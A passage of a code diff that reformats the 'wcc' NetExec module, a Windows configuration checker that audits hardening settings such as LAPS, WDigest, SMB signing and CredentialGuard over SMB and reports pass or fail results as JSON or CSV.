if checker_kwargs is None:
checker_kwargs = [{}]
if checker_args is None:
checker_args = [[]]
if checkers is None:
checkers = [None]
self.check_id = None
self.name = name
self.description = description
assert len(checkers) == len(checker_args) and len(checkers) == len(checker_kwargs)
assert len(checkers) == len(checker_args)
assert len(checkers) == len(checker_kwargs)
self.checkers = checkers
self.checker_args = checker_args
self.checker_kwargs = checker_kwargs
@ -71,49 +73,51 @@ class ConfigCheck:
self.reasons.extend(reasons)
def log(self, context):
result = 'passed' if self.ok else 'did not pass'
reasons = ', '.join(self.reasons)
result = "passed" if self.ok else "did not pass"
reasons = ", ".join(self.reasons)
wcc_logger.info(f'{self.connection.host}: Check "{self.name}" {result} because: {reasons}')
if self.module.quiet:
return
status = colored('OK', 'green', attrs=['bold']) if self.ok else colored('KO', 'red', attrs=['bold'])
reasons = ": " + ', '.join(self.reasons)
msg = f'{status} {self.name}'
info_msg = f'{status} {self.name}{reasons}'
status = colored("OK", "green", attrs=["bold"]) if self.ok else colored("KO", "red", attrs=["bold"])
reasons = ": " + ", ".join(self.reasons)
msg = f"{status} {self.name}"
info_msg = f"{status} {self.name}{reasons}"
context.log.highlight(msg)
context.log.info(info_msg)
class NXCModule:
'''
"""
Windows Configuration Checker
Module author: @__fpr (Orange Cyberdefense)
'''
name = 'wcc'
description = 'Check various security configuration items on Windows machines'
supported_protocols = ['smb']
opsec_safe= True
"""
name = "wcc"
description = "Check various security configuration items on Windows machines"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
'''
"""
OUTPUT_FORMAT Format for report (Default: 'json')
OUTPUT Path for report
QUIET Do not print results to stdout (Default: False)
'''
self.output = module_options.get('OUTPUT')
self.output_format = module_options.get('OUTPUT_FORMAT', DEFAULT_OUTPUT_FORMAT)
"""
self.output = module_options.get("OUTPUT")
self.output_format = module_options.get("OUTPUT_FORMAT", DEFAULT_OUTPUT_FORMAT)
if self.output_format not in VALID_OUTPUT_FORMATS:
self.output_format = DEFAULT_OUTPUT_FORMAT
self.quiet = module_options.get('QUIET', 'false').lower() in ('true', '1')
self.quiet = module_options.get("QUIET", "false").lower() in ("true", "1")
self.results = {}
ConfigCheck.module = self
HostChecker.module = self
def on_admin_login(self, context, connection):
self.results.setdefault(connection.host, {'checks':[]})
self.results.setdefault(connection.host, {"checks": []})
self.context = context
HostChecker(context, connection).run()
@ -122,28 +126,24 @@ class NXCModule:
self.export_results()
def add_result(self, host, result):
self.results[host]['checks'].append({
"Check":result.name,
"Description":result.description,
"Status":'OK' if result.ok else 'KO',
"Reasons":result.reasons
})
self.results[host]["checks"].append({"Check": result.name, "Description": result.description, "Status": "OK" if result.ok else "KO", "Reasons": result.reasons})
def export_results(self):
with open(self.output, 'w') as output:
if self.output_format == 'json':
with open(self.output, "w") as output:
if self.output_format == "json":
json.dump(self.results, output)
elif self.output_format == 'csv':
output.write('Host,Check,Description,Status,Reasons')
elif self.output_format == "csv":
output.write("Host,Check,Description,Status,Reasons")
for host in self.results:
for result in self.results[host]['checks']:
output.write(f'\n{host}')
for field in (result['Check'], result['Description'], result['Status'], ' ; '.join(result['Reasons']).replace('\x00','')):
if ',' in field:
for result in self.results[host]["checks"]:
output.write(f"\n{host}")
for field in (result["Check"], result["Description"], result["Status"], " ; ".join(result["Reasons"]).replace("\x00", "")):
if "," in field:
field = field.replace('"', '""')
field = f'"{field}"'
output.write(f',{field}')
self.context.log.success(f'Results written to {self.output}')
output.write(f",{field}")
self.context.log.success(f"Results written to {self.output}")
class HostChecker:
module = None
@ -168,153 +168,47 @@ class HostChecker:
def init_checks(self):
# Declare the checks to do and how to do them
self.checks = [
ConfigCheck('Last successful update', 'Checks how old is the last successful update', checkers=[self.check_last_successful_update]),
ConfigCheck('LAPS', 'Checks if LAPS is installed', checkers=[self.check_laps]),
ConfigCheck("Administrator's name", 'Checks if Administror user name has been changed', checkers=[self.check_administrator_name]),
ConfigCheck('UAC configuration', 'Checks if UAC configuration is secure', checker_args=[[
self,
(
'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System',
'EnableLUA', 1
),(
'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System',
'LocalAccountTokenFilterPolicy', 0
)]]),
ConfigCheck('Hash storage format', 'Checks if storing hashes in LM format is disabled', checker_args=[[self, (
'HKLM\\System\\CurrentControlSet\\Control\\Lsa',
'NoLMHash', 1
)]]),
ConfigCheck('Always install elevated', 'Checks if AlwaysInstallElevated is disabled', checker_args=[[self, (
'HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer',
'AlwaysInstallElevated', 0
)
]]),
ConfigCheck('IPv6 preference', 'Checks if IPv6 is preferred over IPv4', checker_args=[[self, (
'HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters',
'DisabledComponents', (32, 255), in_
)
]]),
ConfigCheck('Spooler service', 'Checks if the spooler service is disabled', checkers=[self.check_spooler_service]),
ConfigCheck('WDigest authentication', 'Checks if WDigest authentication is disabled', checker_args=[[self, (
'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest',
'UseLogonCredential', 0
)
]]),
ConfigCheck('WSUS configuration', 'Checks if WSUS configuration uses HTTPS', checkers=[self.check_wsus_running, None], checker_args=[[], [self, (
'HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate',
'WUServer', 'https://', startswith
),(
'HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate',
'UseWUServer', 0, operator.eq
)]], checker_kwargs=[{},{'options':{'lastWins':True}}]),
ConfigCheck('LSA cache', 'Checks how many logons are kept in the LSA cache', checker_args=[[self, (
'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon',
'CachedLogonsCount', 2, le
)
]]),
ConfigCheck('AppLocker', 'Checks if there are AppLocker rules defined', checkers=[self.check_applocker]),
ConfigCheck('RDP expiration time', 'Checks RDP session timeout', checker_args=[[self, (
'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services',
'MaxDisconnectionTime', 0, operator.gt
),(
'HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services',
'MaxDisconnectionTime', 0, operator.gt
)
]]),
ConfigCheck('CredentialGuard', 'Checks if CredentialGuard is enabled', checker_args=[[self, (
'HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard',
'EnableVirtualizationBasedSecurity', 1
),(
'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa',
'LsaCfgFlags', 1
)
]]),
ConfigCheck('PPL', 'Checks if lsass runs as a protected process', checker_args=[[self, (
'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa',
'RunAsPPL', 1
)
]]),
ConfigCheck('Powershell v2 availability', 'Checks if powershell v2 is available', checker_args=[[self, (
'HKLM\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine',
'PSCompatibleVersion', '2.0', not_(operator.contains)
)
]]),
ConfigCheck('LmCompatibilityLevel', 'Checks if LmCompatibilityLevel is set to 5', checker_args=[[self, (
'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa',
'LmCompatibilityLevel', 5, operator.ge
)
]]),
ConfigCheck('NBTNS', 'Checks if NBTNS is disabled on all interfaces', checkers=[self.check_nbtns]),
ConfigCheck('mDNS', 'Checks if mDNS is disabled', checker_args=[[self, (
'HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNScache\\Parameters',
'EnableMDNS', 0
)
]]),
ConfigCheck('SMB signing', 'Checks if SMB signing is enabled', checker_args=[[self, (
'HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters',
'requiresecuritysignature', 1
)
]]),
ConfigCheck('LDAP signing', 'Checks if LDAP signing is enabled', checker_args=[[self, (
'HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters',
'LDAPServerIntegrity', 2
),(
'HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS',
'LdapEnforceChannelBinding', 2
)
]]),
ConfigCheck('SMB encryption', 'Checks if SMB encryption is enabled', checker_args=[[self, (
'HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters',
'EncryptData', 1
)
]]),
ConfigCheck('RDP authentication', 'Checks RDP authentication configuration (NLA auth and restricted admin mode)', checker_args=[[self, (
'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\',
'UserAuthentication', 1
),(
'HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA',
'RestrictedAdminMode', 1
)
]]),
ConfigCheck('BitLocker configuration', 'Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)', checker_args=[[self, (
'HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE',
'UseAdvancedStartup', 1
),(
'HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE',
'UseTPMPIN', 1
)
]]),
ConfigCheck('Guest account disabled', 'Checks if the guest account is disabled', checkers=[self.check_guest_account_disabled]),
ConfigCheck('Automatic session lock', 'Checks if the session is automatically locked on after a period of inactivity', checker_args=[[self, (
'HKCU\\Control Panel\\Desktop',
'ScreenSaverIsSecure', 1
),(
'HKCU\\Control Panel\\Desktop',
'ScreenSaveTimeOut', 300, le
)
]]),
ConfigCheck('Powershell Execution Policy', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, (
'HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell',
'ExecutionPolicy', 'Restricted\x00'
),(
'HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell',
'ExecutionPolicy', 'Restricted\x00'
)
]], checker_kwargs=[{'options':{'KOIfMissing':False, 'lastWins':True}}])
ConfigCheck("Last successful update", "Checks how old is the last successful update", checkers=[self.check_last_successful_update]),
ConfigCheck("LAPS", "Checks if LAPS is installed", checkers=[self.check_laps]),
ConfigCheck("Administrator's name", "Checks if Administror user name has been changed", checkers=[self.check_administrator_name]),
ConfigCheck("UAC configuration", "Checks if UAC configuration is secure", checker_args=[[self, ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "EnableLUA", 1), ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", "LocalAccountTokenFilterPolicy", 0)]]),
ConfigCheck("Hash storage format", "Checks if storing hashes in LM format is disabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Lsa", "NoLMHash", 1)]]),
ConfigCheck("Always install elevated", "Checks if AlwaysInstallElevated is disabled", checker_args=[[self, ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer", "AlwaysInstallElevated", 0)]]),
ConfigCheck("IPv6 preference", "Checks if IPv6 is preferred over IPv4", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]),
ConfigCheck("Spooler service", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]),
ConfigCheck("WDigest authentication", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]),
ConfigCheck("WSUS configuration", "Checks if WSUS configuration uses HTTPS", checkers=[self.check_wsus_running, None], checker_args=[[], [self, ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "WUServer", "https://", startswith), ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "UseWUServer", 0, operator.eq)]], checker_kwargs=[{}, {"options": {"lastWins": True}}]),
ConfigCheck("LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]),
ConfigCheck("AppLocker", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]),
ConfigCheck("RDP expiration time", "Checks RDP session timeout", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt), ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt)]]),
ConfigCheck("CredentialGuard", "Checks if CredentialGuard is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard", "EnableVirtualizationBasedSecurity", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LsaCfgFlags", 1)]]),
ConfigCheck("PPL", "Checks if lsass runs as a protected process", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "RunAsPPL", 1)]]),
ConfigCheck("Powershell v2 availability", "Checks if powershell v2 is available", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine", "PSCompatibleVersion", "2.0", not_(operator.contains))]]),
ConfigCheck("LmCompatibilityLevel", "Checks if LmCompatibilityLevel is set to 5", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa", "LmCompatibilityLevel", 5, operator.ge)]]),
ConfigCheck("NBTNS", "Checks if NBTNS is disabled on all interfaces", checkers=[self.check_nbtns]),
ConfigCheck("mDNS", "Checks if mDNS is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNScache\\Parameters", "EnableMDNS", 0)]]),
ConfigCheck("SMB signing", "Checks if SMB signing is enabled", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "requiresecuritysignature", 1)]]),
ConfigCheck("LDAP signing", "Checks if LDAP signing is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "LDAPServerIntegrity", 2), ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS", "LdapEnforceChannelBinding", 2)]]),
ConfigCheck("SMB encryption", "Checks if SMB encryption is enabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters", "EncryptData", 1)]]),
ConfigCheck("RDP authentication", "Checks RDP authentication configuration (NLA auth and restricted admin mode)", checker_args=[[self, ("HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", "UserAuthentication", 1), ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA", "RestrictedAdminMode", 1)]]),
ConfigCheck("BitLocker configuration", "Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseAdvancedStartup", 1), ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseTPMPIN", 1)]]),
ConfigCheck("Guest account disabled", "Checks if the guest account is disabled", checkers=[self.check_guest_account_disabled]),
ConfigCheck("Automatic session lock", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
ConfigCheck("Powershell Execution Policy", 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\ShellIds\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
]
# Add check to conf_checks table if missing
db_checks = self.connection.db.get_checks()
db_check_names = [ check._asdict()['name'].strip().lower() for check in db_checks ]
[check._asdict()["name"].strip().lower() for check in db_checks]
added = []
for i,check in enumerate(self.checks):
for i, check in enumerate(self.checks):
check.connection = self.connection
missing = True
for db_check in db_checks:
db_check = db_check._asdict()
if check.name.strip().lower() == db_check['name'].strip().lower():
if check.name.strip().lower() == db_check["name"].strip().lower():
missing = False
self.checks[i].check_id = db_check['id']
self.checks[i].check_id = db_check["id"]
break
if missing:
@ -323,12 +217,12 @@ class HostChecker:
# Update check_id for checks added to the db
db_checks = self.connection.db.get_checks()
for i,check in enumerate(added):
for i, check in enumerate(added):
check_id = None
for db_check in db_checks:
db_check = db_check._asdict()
if db_check['name'].strip().lower() == check.name.strip().lower():
check_id = db_check['id']
if db_check["name"].strip().lower() == check.name.strip().lower():
check_id = db_check["id"]
break
added[i].check_id = check_id
@ -338,8 +232,8 @@ class HostChecker:
hosts = self.connection.db.get_hosts(self.connection.host)
for host in hosts:
host = host._asdict()
if host['ip'] == self.connection.host and host['hostname'] == self.connection.hostname and host['domain'] == self.connection.domain:
host_id = host['id']
if host["ip"] == self.connection.host and host["hostname"] == self.connection.hostname and host["domain"] == self.connection.domain:
host_id = host["id"]
break
# Perform all the checks and store the results
@ -347,23 +241,20 @@ class HostChecker:
try:
check.run()
except Exception as e:
self.context.log.error(f'HostChecker.check_config(): Error while performing check {check.name}: {e}')
self.context.log.error(f"HostChecker.check_config(): Error while performing check {check.name}: {e}")
check.log(self.context)
self.module.add_result(self.connection.host, check)
if host_id is not None:
self.connection.db.add_check_result(host_id, check.check_id, check.ok, ', '.join(check.reasons).replace('\x00',''))
self.connection.db.add_check_result(host_id, check.check_id, check.ok, ", ".join(check.reasons).replace("\x00", ""))
def check_registry(self, *specs, options={}):
def check_registry(self, *specs, options=None):
"""
Perform checks that only require to compare values in the registry with expected values, according to the specs
a spec may be either a 3-tuple: (key name, value name, expected value), or a 4-tuple (key name, value name, expected value, operation), where operation is a function that implements a comparison operator
"""
default_options = {
'lastWins':False,
'stopOnOK':False,
'stopOnKO':False,
'KOIfMissing':True
}
if options is None:
options = {}
default_options = {"lastWins": False, "stopOnOK": False, "stopOnKO": False, "KOIfMissing": True}
default_options.update(options)
options = default_options
op = operator.eq
@ -378,61 +269,61 @@ class HostChecker:
(key, value_name, expected_value, op) = spec
else:
ok = False
reasons = ['Check could not be performed (invalid specification provided)']
reasons = ["Check could not be performed (invalid specification provided)"]
return ok, reasons
except Exception as e:
self.module.log.error(f'Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}')
self.module.log.error(f"Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}")
return ok, reasons
if op == operator.eq:
opstring = '{left} == {right}'
nopstring = '{left} != {right}'
opstring = "{left} == {right}"
nopstring = "{left} != {right}"
elif op == operator.contains:
opstring = '{left} in {right}'
nopstring = '{left} not in {right}'
opstring = "{left} in {right}"
nopstring = "{left} not in {right}"
elif op == operator.gt:
opstring = '{left} > {right}'
nopstring = '{left} <= {right}'
opstring = "{left} > {right}"
nopstring = "{left} <= {right}"
elif op == operator.ge:
opstring = '{left} >= {right}'
nopstring = '{left} < {right}'
opstring = "{left} >= {right}"
nopstring = "{left} < {right}"
elif op == operator.lt:
opstring = '{left} < {right}'
nopstring = '{left} >= {right}'
opstring = "{left} < {right}"
nopstring = "{left} >= {right}"
elif op == operator.le:
opstring = '{left} <= {right}'
nopstring = '{left} > {right}'
opstring = "{left} <= {right}"
nopstring = "{left} > {right}"
elif op == operator.ne:
opstring = '{left} != {right}'
nopstring = '{left} == {right}'
opstring = "{left} != {right}"
nopstring = "{left} == {right}"
else:
opstring = f'{op.__name__}({{left}}, {{right}}) == True'
nopstring = f'{op.__name__}({{left}}, {{right}}) == True'
opstring = f"{op.__name__}({{left}}, {{right}}) == True"
nopstring = f"{op.__name__}({{left}}, {{right}}) == True"
value = self.reg_query_value(self.dce, self.connection, key, value_name)
if type(value) == DCERPCSessionError:
if options['KOIfMissing']:
if options["KOIfMissing"]:
ok = False
if value.error_code in (ERROR_NO_MORE_ITEMS, ERROR_FILE_NOT_FOUND):
reasons.append(f'{key}: Key not found')
reasons.append(f"{key}: Key not found")
elif value.error_code == ERROR_OBJECT_NOT_FOUND:
reasons.append(f'{value_name}: Value not found')
reasons.append(f"{value_name}: Value not found")
else:
ok = False
reasons.append(f'Error while retrieving value of {key}\\{value_name}: {value}')
reasons.append(f"Error while retrieving value of {key}\\{value_name}: {value}")
continue
if op(value, expected_value):
if options['lastWins']:
if options["lastWins"]:
ok = True
reasons.append(opstring.format(left=f'{key}\\{value_name} ({value})', right=expected_value))
reasons.append(opstring.format(left=f"{key}\\{value_name} ({value})", right=expected_value))
else:
reasons.append(nopstring.format(left=f'{key}\\{value_name} ({value})', right=expected_value))
reasons.append(nopstring.format(left=f"{key}\\{value_name} ({value})", right=expected_value))
ok = False
if ok and options['stopOnOK']:
if ok and options["stopOnOK"]:
break
if not ok and options['stopOnKO']:
if not ok and options["stopOnKO"]:
break
return ok, reasons
@ -440,16 +331,16 @@ class HostChecker:
def check_laps(self):
reasons = []
success = False
lapsv2_ad_key_name = 'Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\LAPS'
lapsv2_aad_key_name = 'Software\\Microsoft\\Policies\\LAPS'
lapsv2_ad_key_name = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\LAPS"
lapsv2_aad_key_name = "Software\\Microsoft\\Policies\\LAPS"
# Checking LAPSv2
ans = self._open_root_key(self.dce, self.connection, 'HKLM')
ans = self._open_root_key(self.dce, self.connection, "HKLM")
if ans is None:
return False, ['Could not query remote registry']
return False, ["Could not query remote registry"]
root_key_handle = ans['phKey']
root_key_handle = ans["phKey"]
try:
ans = rrp.hBaseRegOpenKey(self.dce, root_key_handle, lapsv2_ad_key_name)
reasons.append(f"HKLM\\{lapsv2_ad_key_name} found, LAPSv2 AD installed")
@ -469,102 +360,101 @@ class HostChecker:
reasons.append(f"HKLM\\{lapsv2_aad_key_name} not found")
# LAPSv2 does not seems to be installed, checking LAPSv1
lapsv1_key_name = 'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GPextensions'
subkeys = self.reg_get_subkeys(self.dce, self.connection, lapsv1_key_name)
laps_path = '\\Program Files\\LAPS\\CSE'
lapsv1_key_name = "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GPextensions"
subkeys = self.reg_get_subkeys(self.dce, self.connection, lapsv1_key_name)
laps_path = "\\Program Files\\LAPS\\CSE"
for subkey in subkeys:
value = self.reg_query_value(self.dce, self.connection, lapsv1_key_name + '\\' + subkey, 'DllName')
if type(value) == str and 'laps\\cse\\admpwd.dll' in value.lower():
reasons.append(f'{lapsv1_key_name}\\...\\DllName matches AdmPwd.dll')
value = self.reg_query_value(self.dce, self.connection, lapsv1_key_name + "\\" + subkey, "DllName")
if isinstance(value, str) and "laps\\cse\\admpwd.dll" in value.lower():
reasons.append(f"{lapsv1_key_name}\\...\\DllName matches AdmPwd.dll")
success = True
laps_path = '\\'.join(value.split('\\')[1:-1])
laps_path = "\\".join(value.split("\\")[1:-1])
break
if not success:
reasons.append(f'No match found in {lapsv1_key_name}\\...\\DllName')
reasons.append(f"No match found in {lapsv1_key_name}\\...\\DllName")
l = self.ls(self.connection, laps_path)
if l:
reasons.append('Found LAPS folder at ' + laps_path)
file_listing = self.ls(self.connection, laps_path)
if file_listing:
reasons.append("Found LAPS folder at " + laps_path)
else:
success = False
reasons.append('LAPS folder does not exist')
reasons.append("LAPS folder does not exist")
return success, reasons
l = self.ls(self.connection, laps_path + '\\AdmPwd.dll')
if l:
reasons.append(f'Found {laps_path}\\AdmPwd.dll')
file_listing = self.ls(self.connection, laps_path + "\\AdmPwd.dll")
if file_listing:
reasons.append(f"Found {laps_path}\\AdmPwd.dll")
else:
success = False
reasons.append(f'{laps_path}\\AdmPwd.dll not found')
reasons.append(f"{laps_path}\\AdmPwd.dll not found")
return success, reasons
def check_last_successful_update(self):
records = self.connection.wmi(wmi_query='Select TimeGenerated FROM Win32_ReliabilityRecords Where EventIdentifier=19', namespace='root\\cimv2')
records = self.connection.wmi(wmi_query="Select TimeGenerated FROM Win32_ReliabilityRecords Where EventIdentifier=19", namespace="root\\cimv2")
if isinstance(records, bool) or len(records) == 0:
return False, ['No update found']
most_recent_update_date = records[0]['TimeGenerated']['value']
most_recent_update_date = most_recent_update_date.split('.')[0]
most_recent_update_date = time.strptime(most_recent_update_date, '%Y%m%d%H%M%S')
return False, ["No update found"]
most_recent_update_date = records[0]["TimeGenerated"]["value"]
most_recent_update_date = most_recent_update_date.split(".")[0]
most_recent_update_date = time.strptime(most_recent_update_date, "%Y%m%d%H%M%S")
most_recent_update_date = time.mktime(most_recent_update_date)
now = time.time()
days_since_last_update = (now - most_recent_update_date)//86400
days_since_last_update = (now - most_recent_update_date) // 86400
if days_since_last_update <= OUTDATED_THRESHOLD:
return True, [f'Last update was {days_since_last_update} <= {OUTDATED_THRESHOLD} days ago']
return True, [f"Last update was {days_since_last_update} <= {OUTDATED_THRESHOLD} days ago"]
else:
return False, [f'Last update was {days_since_last_update} > {OUTDATED_THRESHOLD} days ago']
return False, [f"Last update was {days_since_last_update} > {OUTDATED_THRESHOLD} days ago"]
def check_administrator_name(self):
user_info = self.get_user_info(self.connection, rid=500)
name = user_info['UserName']
ok = name not in ('Administrator', 'Administrateur')
reasons = [f'Administrator name changed to {name}' if ok else 'Administrator name unchanged']
name = user_info["UserName"]
ok = name not in ("Administrator", "Administrateur")
reasons = [f"Administrator name changed to {name}" if ok else "Administrator name unchanged"]
return ok, reasons
def check_guest_account_disabled(self):
user_info = self.get_user_info(self.connection, rid=501)
uac = user_info['UserAccountControl']
uac = user_info["UserAccountControl"]
disabled = bool(uac & samr.USER_ACCOUNT_DISABLED)
reasons = ['Guest account disabled' if disabled else 'Guest account enabled']
reasons = ["Guest account disabled" if disabled else "Guest account enabled"]
return disabled, reasons
def check_spooler_service(self):
ok = False
service_config, service_status = self.get_service('Spooler', self.connection)
if service_config['dwStartType'] == scmr.SERVICE_DISABLED:
service_config, service_status = self.get_service("Spooler", self.connection)
if service_config["dwStartType"] == scmr.SERVICE_DISABLED:
ok = True
reasons = ['Spooler service disabled']
reasons = ["Spooler service disabled"]
else:
reasons = ['Spooler service enabled']
reasons = ["Spooler service enabled"]
if service_status == scmr.SERVICE_RUNNING:
reasons.append('Spooler service running')
reasons.append("Spooler service running")
elif service_status == scmr.SERVICE_STOPPED:
ok = True
reasons.append('Spooler service not running')
reasons.append("Spooler service not running")
return ok, reasons
def check_wsus_running(self):
ok = True
reasons = []
service_config, service_status = self.get_service('wuauserv', self.connection)
if service_config['dwStartType'] == scmr.SERVICE_DISABLED:
reasons = ['WSUS service disabled']
service_config, service_status = self.get_service("wuauserv", self.connection)
if service_config["dwStartType"] == scmr.SERVICE_DISABLED:
reasons = ["WSUS service disabled"]
elif service_status != scmr.SERVICE_RUNNING:
reasons = ['WSUS service not running']
reasons = ["WSUS service not running"]
return ok, reasons
def check_nbtns(self):
key_name = 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\NetBT\\Parameters\\Interfaces'
key_name = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\NetBT\\Parameters\\Interfaces"
subkeys = self.reg_get_subkeys(self.dce, self.connection, key_name)
success = False
reasons = []
missing = 0
nbtns_enabled = 0
for subkey in subkeys:
value = self.reg_query_value(self.dce, self.connection, key_name + '\\' + subkey, 'NetbiosOptions')
value = self.reg_query_value(self.dce, self.connection, key_name + "\\" + subkey, "NetbiosOptions")
if type(value) == DCERPCSessionError:
if value.error_code == ERROR_OBJECT_NOT_FOUND:
missing += 1
@ -572,24 +462,24 @@ class HostChecker:
if value != 2:
nbtns_enabled += 1
if missing > 0:
reasons.append(f'HKLM\\SYSTEM\\CurrentControlSet\\Services\\NetBT\\Parameters\\Interfaces\\<interface>\\NetbiosOption: value not found on {missing} interfaces')
reasons.append(f"HKLM\\SYSTEM\\CurrentControlSet\\Services\\NetBT\\Parameters\\Interfaces\\<interface>\\NetbiosOption: value not found on {missing} interfaces")
if nbtns_enabled > 0:
reasons.append(f'NBTNS enabled on {nbtns_enabled} interfaces out of {len(subkeys)}')
reasons.append(f"NBTNS enabled on {nbtns_enabled} interfaces out of {len(subkeys)}")
if missing == 0 and nbtns_enabled == 0:
success = True
reasons.append('NBTNS disabled on all interfaces')
reasons.append("NBTNS disabled on all interfaces")
return success, reasons
def check_applocker(self):
key_name = 'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2'
key_name = "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2"
subkeys = self.reg_get_subkeys(self.dce, self.connection, key_name)
rule_count = 0
for collection in subkeys:
collection_key_name = key_name + '\\' + collection
collection_key_name = key_name + "\\" + collection
rules = self.reg_get_subkeys(self.dce, self.connection, collection_key_name)
rule_count += len(rules)
success = rule_count > 0
reasons = [f'Found {rule_count} AppLocker rules defined']
reasons = [f"Found {rule_count} AppLocker rules defined"]
return success, reasons
@ -599,122 +489,109 @@ class HostChecker:
def _open_root_key(self, dce, connection, root_key):
ans = None
retries = 1
opener = {
'HKLM':rrp.hOpenLocalMachine,
'HKCR':rrp.hOpenClassesRoot,
'HKU':rrp.hOpenUsers,
'HKCU':rrp.hOpenCurrentUser,
'HKCC':rrp.hOpenCurrentConfig
}
opener = {"HKLM": rrp.hOpenLocalMachine, "HKCR": rrp.hOpenClassesRoot, "HKU": rrp.hOpenUsers, "HKCU": rrp.hOpenCurrentUser, "HKCC": rrp.hOpenCurrentConfig}
while retries > 0:
try:
ans = opener[root_key.upper()](dce)
break
except KeyError:
self.context.log.error(f'HostChecker._open_root_key():{connection.host}: Invalid root key. Must be one of HKCR, HKCC, HKCU, HKLM or HKU')
